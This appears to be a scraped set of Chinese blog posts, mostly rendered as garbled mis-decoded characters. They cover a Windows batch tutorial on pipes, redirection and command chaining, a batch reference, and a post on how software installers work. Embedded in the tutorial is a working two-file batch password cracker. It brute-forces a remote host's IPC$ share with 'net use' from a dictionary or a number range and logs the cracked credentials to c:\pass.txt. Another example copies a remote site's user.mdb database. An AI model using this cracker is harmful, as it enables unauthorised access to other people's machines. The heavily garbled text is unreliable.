q是Bat.Worm.Muma病毒的v始脚本,讄了病毒运行的环境变量。是不是看的头都大了Q又忘了写在W一章第一D늚那句话(静下心来Q)Q你应该能体会到学习q两个命令所需要的耐心了吧。就如同ȝ一个hQ你得学会宽容,打不得骂不得Q用你宽大的胸怀d容她的一切,即你发现爱她的q程如看上面代码的过E一栯你头大,但你q是得爱下去----爱需要理由吗Q不需要吗Q需要吗Q不需要吗……{到风^静后,最直观的收获就是,你的耐心变的前所未有的充I面对她的复杂和善变,你自׃处变不惊Q以自己的方式去从容应付曄应付不了的场面,即到最后一w伤痕,也会感慨曄的D动有多么伟大?

没错Q这是批处理的力Q这是q力。让你受了伤q感谢伤你的人。这U感觉就好象在自己最喜欢的音乐声中被人强奸,痛ƈ快乐着?

不得不再ơ重申一遍,各种DOS命o是批处理的BODYQ我实在找不Z个更合适的词来形容他们之间的关p)Q学好DOS命o是学好批处理的前提。其?DOS命o如copy、dir、del、type、path、break、start{内部命令,以及ping、net、cmd、at、sort?attrib、fc、find{外部命令,在批处理里的应用非常q泛。这教E的作用Q是教你认识批处理,以及如何利用DOS命ol合出来一个完的批处理脚本,去让它自动完成你惌它做的事情。而灵z自如的~辑一个批处理脚本是徏立在熟练掌握DOS命o的基上的Q这已经出了本文的范畴Q在此就不赘qC?

不知不觉中第三章已经l束了。耳麦里传来的依然是陈晓东的《比我幸》,每隔4?2U就自动重播。虽然我不ƈ不很喜欢陈晓东,可这q不妨碍我喜Ƣ音乐,喜欢q首描写的如此让人感慨的歌。请你一定要比我q福/才不枉费我狼狈退?再痛也不说苦/׃用抱歉来弥补/臛_我能成全你的q?误得你要比我幸?/才值得我对自己D酷/我默默的倒数/最后再把你看清?看你眼里的我好馍p?慢慢被放逐。我如同一个因q老失色而拉不到客的老妓奻Il望的徘徊在曄辉煌的红灯区Q用一脸的木然瞟一眼来来去ȝ人群Q默默的回忆自己q不光彩的过去,qL自己要面对的未来。直到看见那些幸依偎在一L情G们,才突焉发现上帝的公qI和这U公q的D忍?br /> 可以_批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介l,原因我已l说了,因ؓ我也是个菜,我也不太?---但我正在学!你呢Q今天又M一图书馆Q淘金一样发C一本叫《DOSҎ件》的东东Q藏在一个角落里落满了灰Q五本摞一起就跟砖头一样厚了。大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思\上讲Q已l有点time out了,很多东西已经基本没有利用的h|q就是信息时代的更新速度Q,但还是很值得看的。于是打下午淘q来Q放假回M再好好研I一番,q同那几个不熟悉的命令一h熟了Q再l写q篇教程。我始终坚信Q没有最好只有更好?br />
但是很可惜,{到下午再去的时候,图书馆楼梯口已经立了一个牌子,上面写着out of service----人家q学期的工作l束了。于是回到宿舍打l写W四章,正在q时又得C?#8220;振奋人心”的消息:期末考试有一U挂了,而且是全班第一----q一门整个班里就挂了我一个。郁L情A刚w间涌上心_整个世界仿佛都变成黑的了。食堂和卖部已l陆l关门,学校里的来越,q面q来的几个同学也都一w行李,忙碌着准备回家q年Q内心的孤寂和失落如同夏日里暴雨前的乌云Q迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个h在天桥上发呆Q还能怎么Pq期末考试都应付不了的p|男h?br />
“N休息”旉好象长了点,呵呵Q上课了Q从q一章开始,详l介l批处理中常用的几个l合命o和管道命令。这些命令虽然不是必ȝQ如同爱一个h时不一定非得每天去陪,但如果少了这个过E,事情׃变的复杂而不完美Q所以我认ؓ道命o和组合命令是批处理的调味剂,几乎是少不了的?br />
下面从管道命令讲赗常用的道命o有以下这些:|?gt;?gt;>

11、|

q个命o恐怕大家不是很陌生Q经常操作DOS的朋友都应该知道Q当我们查看一个命令的帮助Ӟ如果帮助信息比较长,一屏幕昄不完时DOSq不l我们时间让我们看完一屏幕再翻到另一屏幕Q而是直接昄到帮助信息的最后。如在提C符下输入help回RӞ׃看到当前DOS版本所支持的所有非隐含命oQ但你只能看到最后的那些命oQ前面的早就一闪而过了,如何解决q个问题Q看例十三:

help | more

回R后会发现昄满一屏幕后就自动暂停Q等候l显C其他信息。当按写回RӞ变成一个一个的出现Q按下空格键时一屏幕一屏幕昄Q直到全部显C完为止Q按其他键自动停止返回DOS?br />
Z么会出现上述现象Q答案很单,q里l合了管道命令|和DOS命omore来共同达到目的的。这里先单介l一下help命o和more命oQ对理解|命o的用法有很大帮助?br />
11.1、help命o。其实这个命令是不需要多说的Q但在上qC子中help命o的用法比较特D,直接在DOS提示W下输入help命oQ结果是?DOS昄其所支持的所有非隐含命oQ而在其他地方用help命oQ如输入net help回RQ则是显Cnet命o的帮助信息?br />
11.2、more命o。可能很多朋友以前就没有接触q这个命令,q个命o在Linux下的用处非常q泛Q也是管道命令之一。大家可以找一比较长的文章(a.txtQ在DOS提示W下输入如下两个命oL较一下差别:more a.txt和type a.txt。利用more命oQ可以达到逐屏或逐行昄输出的效果,而type命o只能一ơ把输出昄完,最后的l果是只能看到末尾的部分。在例十三里Qmore命o的作用就是让输出的信息逐屏或逐行昄?br /> 看到q里Q你是否已经能隐U感受到了|命o的作用了Q没错,它的作用Q就是把前一命o的输出当后一命o的输入来用的。在例十三里Q前一命o的输出,是 help命o执行后显C的DOS所支持的所有非隐含命oQ而这个结果刚好做了后一命omore的输入。所以例十三和下面的例十四是{效的:

help > a.txt
more a.txt
del a.txt

q里利用另一道命o>生成了一个a.txt文g作ؓ中间环节Q在用more命o查看a.txt文g后再删除a.txt文gQ例十三的所有操作是在内存中q行的,不生成文Ӟ。可以看出,正确使用道命o|可以带来事半功倍的效果?br />
l合例十三和例十四,以及前面的例九再体会一遍:|命o的作用,是让前一命o的输出当做后一命o的输入?br />
12?gt;?gt;>

q两个命令的效果从本质上来说都是一LQ他们都是输出重定向命oQ说的通俗一点,是把前面命令的输出写入C个文件中。这两个命o的唯一区别是,>会清除掉原有文g中的内容后把新的内容写入原文Ӟ?gt;>只会另v一行追加新的内容到原文件中Q而不会改动其中的原有内容。例十五Q?br />
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat

依次在DOS提示W下输入以上各行命oQ一行一个回车,在当前目录下生成一个a.bat文gQ里面的内容如下Q?br />
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit

看到q里Q你得到了多信息?1、可以直接在DOS提示W下利用echo命o的写入功能编辑一个文本,而不需要专门的文本~辑工具Q?、管道命?gt; ?gt;>的区别如上所q。如果这里只?gt;命o来完成上面操作,最后也会生成一个a.batQ但里面的内容就只剩下最后一行exit了。所?gt;?gt;>一般都联合h用,除非你重定向的输出只有一行,那么可以只?gt;了。结合例一再仔l体会输出重定向道命o> ?gt;>的用法?br />
13?lt;?gt;&?lt;&

q三个命令也是管道命令,但它们一般不常用Q你只需要知道一下就ok了,当然如果想仔l研I的话,可以自己查一下资料?br />
<Q输入重定向命oQ从文g中读入命令输入,而不是从键盘中读入?
>&Q将一个句柄的输出写入到另一个句柄的输入中?
<&Q刚好和>&相反Q从一个句柄读取输入ƈ其写入到另一个句柄输Z?br />
关于q三个管道命令的举例Q在后面批处理脚本的_֦应用中还涉及到?br />

下面介绍l合命oQ?amp;?amp;&、||

l合命oQ顾名思义Q就是可以把多个命ol合h当一个命令来执行。这在批处理脚本里是允许的,而且用的非常q泛。它的格式很?---既然现在已经成了一个文件了Q那么这多个命op用这些组合命令连接v来放在同一?---因ؓ批处理认行不认命令数目。组合命令的作用Q就如同l爱人陪不是Q说一句是_说十句也是说Q不一ơ把好话都说了出来,效果可能会好?---当然得排除一U特D情况:q些话是否有先后序Q有些话是否可以同时说。在批处理脚本里也一P有些时候某些命令是不能同时执行的,后面l你说?br />
刚刚又送走了一个同学,人去楼空的感觉越来越明显Q望着I荡的床铺Q^日里喧闹的宿舍就只剩下我一个h了,整个世界只有那个qx令h非常讨厌的老鼠q时候才昑־可爱h----只有它会陪着我在q不敢开灯的漆黑夜里----一个连期末考试都应付不了的p|男h。失败!我感到快要呼怸q来Q这U失败的压力直o我窒息,直让我的手接收不到大脑的信号Q简直让q篇未完成的教程夭折。但我能怪谁Q?br />
忙碌了一学期要过q了却挂了科Q失败;挂了U也倒Ş了,竟然一个h拖全班的后退Q失败中的失败;更失败的Q是在这最p的时候,竟然找不C个h可以倾诉Q然而最p|的,是突然发现自q然如此脆弱,如此耐不住寂寞。不q这倒也解开了心中疑惑很久的一个问题:Z么明知道那段情是一个旋涡却q心甘情愿的往里面?---q就是青春,风一Lq龄Q火一样不安的心。不再爱了,我不要再一个h的时候苦苦等待;不再׃Q我不要在你l的囚笼里怜悯的爱Q不再爱了,我不要在别h的视UK如此可笑Q不再爱Q我不再爱。就塌下来Q我也要一个h扛着Q头不能低腰不能弯,不能喘息不能倾诉Q因然失败,但还是男人,是男人就不能向困难低_

14?amp;

q可以说是最单的一个组合命令了Q它的作用是用来q接n个DOS命oQƈ把这些命令按序执行Q而不是否有命o执行p|。例十六Q?br />
copy a.txt b.txt /y & del a.txt

其实q句和move a.txt b.txt的效果是一LQ只不过前者是分了两步来进行的Q在后面q将涉及到具体用哪U方法的问题Q。这个命令很单,׃多费口舌了,唯一需要注意的一ҎQ这?amp;两边的命令是有执行顺序的Q从前往后执行?br />

15?amp;&

切记Q这里介l的几个命o都是l合命oQ所以他们前后都必须都有其他命oQ要不如何组合?Q。这个命令也不例外,它可以把它前后两个命令组合v来当一个命令来用,?amp;命o不同之处在于Q它在从前往后依ơ执行被它连接的几个命o时会自动判断是否有某个命令执行出错,一旦发现出错后不l箋执行后面剩下的命令。这׃ؓ我们自动化完成一些Q务提供了方便。例十七Q?br />
dir 文g://1%/www/user.mdb && copy 文g://1%/www/user.mdb e:\backup\www

如果q程L存在user.mdbQ则copy到本地e:\backup\wwwQ如果不存在当然׃执行copy了。这句对搞网的朋友是否有点用呢Q呵c其实它和下面这句的作用是一LQ?br />
if exist 文g://1%/www/user.mdb copy 文g://1%/www/user.mdb e:\backup\www

至于你喜Ƣ用哪个随便了Q我没办法判断dir和if两个命o哪一个执行效率更高,所以不知道用哪个更好,呵呵?br />
你是否还记得“有些命o是不能同时执行的”Q你是否怿q句话?当然得相信,不信q你出道题Q把C盘和D盘的文g和文件夹列出到a.txt文g中。你如何来搞定q道题?有朋友说Q这q不是很easy的问题吗Q同时执行两个dirQ然后把得到的结?gt;到a.txt里就ok了嘛Q看例十八:

dir c:\ && dir d:\ > a.txt

仔细研究一下这句执行后的结果,看看是否能达到题目的要求Q错了!q样执行后a.txt里只有D盘的信息Qؓ什么?因?amp;&命o?gt;命o不能同时出现一个句子里Q批处理把一行看成一个句子)Q!l合命o&&的优先没有道命o>的优先高(自己ȝ的,不妥的地方请指正Q!所以这句在执行时将本分成这两部分:dir c:\和dir d:\ > a.txtQ而ƈ不是如你想的q两部分Qdir c:\ && dir d:\?gt; a.txt。要使用l合命o&&辑ֈ题目的要求,必须得这么写Q?br />
dir c:\ > a.txt && dir d:\ >> a.txt

q样Q依据优先高低QDOS把q句话分成以下两部分Qdir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特D,值得好好研究体会一下?br />
当然q里q可以利?amp;命oQ自己想一下道理哦Q:

dir c:\ > a.txt & dir d:\ >> a.txt

16、||

q个命o的用法和&&几乎一P但作用刚好和它相反:利用q种Ҏ在执行多条命令时Q当遇到一个执行正的命o退出此命ol合Q不再l执行下面的命o。题目:查看当前目录下是否有以s开头的exe文gQ如果有则退出。例十九Q?br />
@echo off
dir s*.exe || exit

其实q个例子是有破熾的,你看出来了吗Q其实很单,自己试试q道了嘛:如果存在那个exe文gQ就退出;如果不存在那个exe文gQ也退出!Z么?因ؓ如果不存在那?exe文gQ则前一条命令dir s*.exe执行肯定是不成功的,所以就l箋执行exitQ自然就退ZQ呵c那么如何解决题目给出的问题呢?看例二十Q?br />
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit

q样执行的结果,p辑ֈ题目的要求,是否存在s*.exe出CU结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echoq写了?br />
l出两个更好研究优先U(同时也是更难理解Q的脚本Q仔l研I它们的区别Q以便彻底理解各U命令的优先U顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错QOKQ请看例二十一和例二十二:
例二十一Q?br />
@echo off
dir a.ttt /a & dir a.txt || exit

例二十二Q?br />
@echo off
dir a.ttt /a && dir a.txt || exit

警告Q患有心脑血病的朋友请不要研究以上两例Q否则轻者头大如斗,重者血爆裂。Q何h׃研究q两个脚本的区别而造成的Q何事故由自己或其合法监护责,与本人和本论坛无兟뀂特此警告!

有关道命o和组合命令就大概介绍到这里了Q不知道聪明的你是否理解Q呵呵,能理解就成天才了Q除非你以前已l掌握!千万别小看了q几个鬼命oQ大槌是我的说Q简直就不是人学的东西!但我q是静下心来研究了一番,最后得出的l论如上所qͼ已经一点不剩的交给你了Q希望你好好收藏q消化吸Ӟ当然有错误被你发CQ或者不完整的地方被你看出来了,误紧告诉我一壎ͼ

q几个命令真的把我的头都搞大了。在|上有一流传很q的批处理教E:“明批处理教程”Q虽然说的比较全面,但看h很不q瘾。在对for{命令介l时׃个for /? > a.txt & start a.txt完事了(当然q一点上我不能说人家什么,毕竟我连for /?都没l出Q,而对上述道命o和组合命令、以及这教E以后将讲到的用批处理操作注册表{方面根本没有介l。我之所以花整整一章来讲管道命令和l合命oQ是因ؓ他们才是批处理的_֍和灵,能否正确利用好这几个命oQ是能否掌握批处理的前提条g。如for、set{DOS命o的问题,可以从DOS的角度出发专门有针对性的学习Q但有关q几个命令的问题Q却是不Ҏ_N掌握的----他们之间的关pd复杂了!
下列代码存为bat文g
1、如果用字典破解Qpass.bat 字典文g路径及名U?L 用户?
2、如果用数字破解Qpass.bat 起始?步长 l束?L 用户?br /> 密码破解出来之后Q存放于c:\pass.txt文g里面?
下列代码存为pass.bat文g
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解l果Q?>>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的?
:大棒槌是我的?
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的?
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
下列代码存为test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命o执行q回l果Qnet use成功q回0Q失败返?
:answer0
echo q程LQ?%1" >>c:\pass.txt
echo ?P"%3" >>c:\pass.txt
echo ?码:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2


For
对一l文件中的每个文件运行指定的命o?

可以在批处理E序中或直接从命令提C符使用 for 命o?br />
要在批处理程序中使用 for 命oQ请使用以下语法Q?

for %%variable in (set) docommand [command-parameters]

要在命o提示W下使用 forQ请使用以下语法Q?

for %variable in (set) do command [command-parameters]

参数

%%variable ?%variable

代表可替换的参数。for 命o使用?set 中指定的每个文本字符串替?%%variableQ或 %variableQ,直到此命令(?command-parameters 中指定)处理所有的文g为止。?%% variable 在批处理E序中执?for 命o。?% variable 通过命o提示W执?for 命o。变量名区分大小写?br />
(set)

指定要用指定的命令处理的一个或多个文g或文本字W串。需要括受?

command

指定要在指定?set 所包含的每个文件上执行的命令?

command-parameters

指定要用于指定命令(如果指定的命令要使用M参数或开养I的Q何参数或开兟?br />
如果启用了命令扩展(Windows 2000 中的默认讄)Q将支持 for 命o的其他Ş式?br /> For 命o的其他Ş?br /> 如果启用了命令扩展,支持如?for 命o的其他格式:

只限于目?br />
for /D [%% | %]variable in (set) docommand [command-parameters]

如果 set 包含通配W(* ??Q,则指定与目录名匹配,而不是文件名?br />
递归

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

q入根目录树[drive:]pathQ在树的每个目录中执?for 语句。如果在 /R 后没有指定目录,则假定ؓ当前目录。如?set 只是一个句?(.) 字符Q则只列丄录树?br />
q代

for /L [%% | %]variable in (startQstepQend) do command [command-parameters]

集合是一pd按步镉K划分的、从头到数字。这P(1,1,5) 生成序?1 2 3 4 5Q?(5,-1,1) 生成序?(5 4 3 2 1)?br />

BAT文g技?br />                           



文章l构
1. 所有内|命令的帮助信息
2. 环境变量的概?
3. 内置的特D符?实际使用中间注意避开)
4. 单批处理文g概念
5. 附g1 tmp.txt
6. 附g2 sample.bat


######################################################################
1. 所有内|命令的帮助信息
######################################################################
ver
cmd /?

set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命o
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面所有上面的帮助输出C个文?
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________

######################################################################
2. 环境变量的概?
######################################################################
_____________________________________________________________________________
C:Program Files>set
ALLUSERSPROFILE=C:Documents and SettingsAll Users
CommonProgramFiles=C:Program FilesCommon Files
COMPUTERNAME=FIRST
ComSpec=C:WINNTsystem32cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll;
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:WINNT
TEMP=C:WINNTTEMP
TMP=C:WINNTTEMP
USERPROFILE=C:Documents and SettingsDefault User
windir=C:WINNT
_____________________________________________________________________________

path: 表示可执行程序的搜烦路径. 我的是你把你的程序copy ?
%windir%system32. q个目录里面. 一般就可以自动搜烦?
语法: copy mychenxu.exe %windir%system32.
使用?.) 便于一目了?
对环境变量的引用使用(英文模式,半角)双引?
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还?
%temp% 临时文g目录
%windir% pȝ目录
%errorlevel% 退Z?

输出文gC时文件目录里?q样便于当前目录整洁.

ҎI格的参? 你应该学会用双引号("") 来表C比如对porgram file文gҎ?
C:>dir p*
C: 的目?
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47

Program Files
1 个文?2,164 字节
1 个目?1,505,997,824 可用字节

C:>cd pro*
C:Program Files>

C:>
C:>cd "Program Files"
C:Program Files>


######################################################################
3. 内置的特D符?实际使用中间注意避开)
######################################################################
微Y里面内置了下列字W不能够在创建的文g名中间?
con nul aux / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你用^作ؓ前导字符表示.或者就只有使用双引?"?
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创徏一个文?
>> q加C个文件后?
@ 前缀字符.表示执行时本行在cmd里面不显C? 可以使用 echo off关闭昄
^ 对特D符? > < &)的前导字W? W一个只是显Caaa W二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命o
(echo aa & echo bb)
, 和空gL~省分隔W号.
; 注释,表示后面为注?
: 标号作用
| 道操作
& UsageQ第一条命?& W二条命?[& W三条命?..]
用这U方法可以同时执行多条命令,而不命令是否执行成?
dir c:*.exe & dir d:*.exe & dir e:*.exe
&& UsageQ第一条命?&& W二条命?[&& W三条命?..]
当碰到执行出错的命o后将不执行后面的命oQ如果一直没有出错则一直执行完所有命令;
|| UsageQ第一条命?|| W二条命?[|| W三条命?..]
当碰到执行正的命o后将不执行后面的命oQ如果没有出现正的命o则一直执行完所有命令;

常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母序 ijklmnopq依次取参?
eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?
delims=xxx - 指分隔符集。这个替换了I格和蟩格键的默认分隔符集?


九宝 2009-06-01 15:50 发表评论
]]>
软g安装q程释Q{Q?/title><link>http://www.tkk7.com/yglwxl/archive/2008/05/05/198452.html</link><dc:creator>九宝</dc:creator><author>九宝</author><pubDate>Mon, 05 May 2008 07:04:00 GMT</pubDate><guid>http://www.tkk7.com/yglwxl/archive/2008/05/05/198452.html</guid><wfw:comment>http://www.tkk7.com/yglwxl/comments/198452.html</wfw:comment><comments>http://www.tkk7.com/yglwxl/archive/2008/05/05/198452.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yglwxl/comments/commentRss/198452.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yglwxl/services/trackbacks/198452.html</trackback:ping><description><![CDATA[软g在安装时Q到底做了些什么? 大家每天都在用电脑,可能也经常在自己的电脑上安装软g。就自己没安装q,臛_也看Ch家安装过软g。在q里Q我不是x你怎么安装软gQ而是惛_你展C,软g在安装的q程中,到底都做了些什么动作?Z么有些Y件要安装Q直接拷贝过d不能用?Z么一些Y件安装或卸蝲之后要重启。下面要讨论的就是这些问题? <p>    首先Q我们探讨一下Y件安装的共通部分,说共通,是在不同版本的操作pȝ上,如WINDOWS98QWIN2K和WINXP{上它们都有共同点的地方。这个文章也试图不针对具体的某个操作pȝQ而对共同的规律来探讨Q不q我自己用的是WINDOWS98Q所以有时一些例子可能会用WINDOWS98上的实例来说明,而大多数情况下这些特***在WIN2K和WINXP上也是类似的?/p> <p>    那么Q我先来归纳一下,典型的Y件安装过E都有可能做哪些事情。由于我们是讨论软g在安装时的行为,所以开始安装前的设|和选项我们暂不讨论,只说到Y件真正开始安装那个时候v的动作:</p> <p>①文件从安装源位|拷贝到目标位置?/p> <p>②往pȝ目录写入一些必要的动态连接库(DLL)?可?</p> <p>③往pȝ注册表中写入相应的设|项?可?</p> <p>④徏立开始菜单里的程序组和桌面快h式?可?</p> <p>⑤其他动作?可?</p> <p>     下面我们再详l来分析上面归纳出来的这些动作:</p> <p>1)拯软g本n需要的文g。源位置指Y件未安装之前的位|,例如光盘Q下载的目录{,目标位置指你指定的安装位|?/p> <p>q是几乎所有的软g安装q程一定会做的一件事。而如果一个YӞ在安装时只要q一步,不需要后面的其他几步Q我们可以认个Y件就是绿色Y件。或者反q来说绿色Y件就是只要拷贝文Ӟ不需要依赖于某个DLLQ或者它依赖的DLL在几乎所有的pȝ中都一定有的,q且它也不依赖于注册表里面的讄的软g?/p> <p>2)q一步,可以说至有一半Y件在安装旉会做Q一些YӞ需要用到某个DLLQ特别是那些软g作者开发的DLLQ或者系l中不常用的DLLQ一般都会随软g的安装拷到系l目录。所谓系l目录,在WIN98下一般是在WINDOWS\SYSTEMq个目录Q而WIN2K是在WINNT\SYSTEM32QWINXP是在WINDOWS\SYSTEM32。还有,一些Y件如QQ游戏Q中游等Q它们也用到一些DLLQ由于这些DLL只是q个软g自己用到Q别的其他Y件不会用刎ͼ所以它们ƈ不一定存在于pȝ目录Q而是攑֜软g安装目录里面Q这LDLL已经在上一步中被拷贝,所以和q一步说的情况不一栗?/p> <p>3)q一步同栯有一半Y件会做,一般在安装前用L讄和一些选项Q在安装时就会把q些讄写到注册表里。另外就是有时在上一步把DLL拯到系l目录时Q一些DLL需要向pȝ注册Q这些DLL的注册信息也会写在注册表里。还有,一些Y件有时可能安装时q不写注册表Q而是在第一ơ运行时才把一些设|写到注册表?/p> <p>4)q个非常单,大概不需要怎么解释。徏立这些快h式一斚w是便于用h行,另外在时也会把卸载的快捷方式攑֜E序l里。关于卸载后面我们再来讨论?/p> <p>5)q个是除了上面说的以外的其他情c例如有些Y件安装时会先把所有文?或一部分文g)先解压到临时目录Q那么安装完之后p把这些文件删除掉?/p> <p>    那么我们再ȝ一下:</p> <p>一、一个典型的软g在安装过E一般都会执行上面的1-4V这样可以认为是一个完整的安装q程?/p> <p>二、除了第1之外,其他的都不是必要的。只需要第一的软gQ我们可以把它叫做绿色Y件?/p> <p>三、有些Y件安装时是执行了1??Q有些Y件是执行???Q有些Y件是执行???/p> <p>四、一个特D的情况Q一般的驱动E序Q只会执??Q没???/p> <p>五、理ZQQ何YӞ如果你非常确切地知道了它在上面的那几步都具体做了些什么,特别??Q那么,理论上你可以把这个Y件的安装文g拯到另一台机子,把必要的DLL从系l目录拷贝到那一台机子的pȝ目录Q再把注册表里Y件写入的目导出?必要时还要修改一?再导入到那台机子的注册表中,那么Q就不是绿色YӞ你也能这h它移植给另一台机。但有时特别是一些共享YӞ一般都会有注册表中讄比较隐蔽的项目,不容易查找,所以除非你对系l非常熟悉,否则不是l色软g的Y件要ULq是有一定的隑ֺ的?/p> <p>     那么Q下面我们再来看看,Z么一些Y件安装后要重启?/p> <p>在WINDOWS操作pȝ上,一般一个正在运行中的程序,操作pȝ是不让你修改它的Q修改包括替换,改动和删除。那么有Ӟ一些Y仉要向pȝ目录中写入一个DLLQ而系l目录中原来已经有同名的DLLq且q个DLL目前正在被系l用,因此不能用新版本L换它Q这个时候就需要重启,在重启的q程中,在这个DLL旧的版本被用之前用新版本替换它。这是Z么要重启的原因?/p> <p>你能看到q里Q说明你很有耐心Qƈ且对技术的探讨很有兴趣Q那么我再说得更详l些。在WIN98中,上面说的q个替换是由pȝ的一个工h实现的,q个工具叫WININIT.EXE。安装程序在到需要写入的DLL或其他程序文件正在用时Q会把要写入的DLL文g先定一个时的文g名,然后在WINDOWS目录中往WININIT.INI写入一个改写项Q比如,一个叫ABCD.DLL的动态连接库现在正在使用中,而安装程序要往pȝ中写入新版本的ABCD.DLLQ这时安装程序会把新版本ABCD.DLL先定一个时文件名Q例如AAAA.LLLQ然后在WININIT.INI中的[rename]一节中写入q一:<font color="#ffffff"><span id="1fbz7jl" class="copyctrl" style="font-size: 0pt"> P늯l|枓?</span><br /> </font> C:\windows\system\abcd.dll=C:\windows\system\aaaa.lll<font color="#ffffff"><span id="fdnztbr" class="copyctrl" style="font-size: 0pt"> CX?B) </span><br /> </font> q样Q在重启Ӟq入WINDOWS囑Ş界面之前QWININIT.EXE在检到WINDOWS目录中有WININIT.INI存在Ӟ执行里面的操作Q在上面的例子中Q是用C:\windows\system\aaaa.lllL换掉C:\windows\system\abcd.dllq个文gQƈ且把WININIT.INI改名为WININIT.BAK?/p> <p>     另外Q有些YӞ在安装时Q是把所有文件包括SETUP.EXE解压C时文仉面再执行SETUP.EXEq行安装的,按理来说安装完要把所有的临时文g删除掉,q个操作当然也是由安装程序SETUP.EXE来完成,但它自己正在q行Q也删不了它自己Q所以也要重启来删除Q做法和上面差不多,只是ҎcMq样子的Q?font color="#ffffff"><span id="hrr7tp9" class="copyctrl" style="font-size: 0pt"> 怦S?vH?</span><br /> </font> NUL=C:\WINDOWS\TEMP\SETUP.EXE</p> <p>    在WIN2K和WINXP中,存在cM的机Ӟ不过q不是用WININIT.EXE和WININIT.INI来实玎ͼ具体的做法我也不是很清楚Q长期以来我大多数时候都是在用WIN98Q所以没认真研究q,但Y件安装过E要重启的现象在2K和XP上是仍然存在的,原理也是在重启时替换或修Ҏ在用的文gQ只是实现的方式不同?/p> <p>    最后,我们再来看看有关卸蝲斚w的内宏V一般卸载有好几U方式:</p> <p>1)早期的安装程序,一般会在安装过E记录了上面说的安装q程?234四个步骤中具体拷贝的文g和DLL以及注册表项Q把它保存在INSTALL.LOG之类的文件中Q再在Y件的安装目录(或WINDOWS目录?放一个UNINST.EXE之类的卸载程序。然后要么在E序l里个UNINST.EXEZ个快h式,要么在注册表中ؓq个UNINST.EXEZ个快h?q诛_泼姘宓奶砑由境l蚓湍芸吚w砑男对?Qƈ把INSTALL.LOG做ؓ它的参数Q这样就实现卸蝲了?/p> <p>2)现在比较多的安装E序是用新版的INSTALLSHIELD生成的,安装时的记录和卸载程序一般是会放在C:\Program Files\InstallShield Installation Informationq个文g?隐藏?**)里,同样也会在程序组和注册表中徏立卸载项?/p> <p>    另外Q在卸蝲Ӟ也会遇到文g(一般是DLL文g)正在使用的情c所以有时卸载的时候也要重启,是要在重启q程中删掉这些正在用的DLL文g?/p> <p>    关于软g的安装过E,大概想到这里,以后再有惛_什么的Q我再补充,大家有什么看不懂的也可以把问题提出来?/p> <img src ="http://www.tkk7.com/yglwxl/aggbug/198452.html" width = "1" height = "1" /><br><br><div 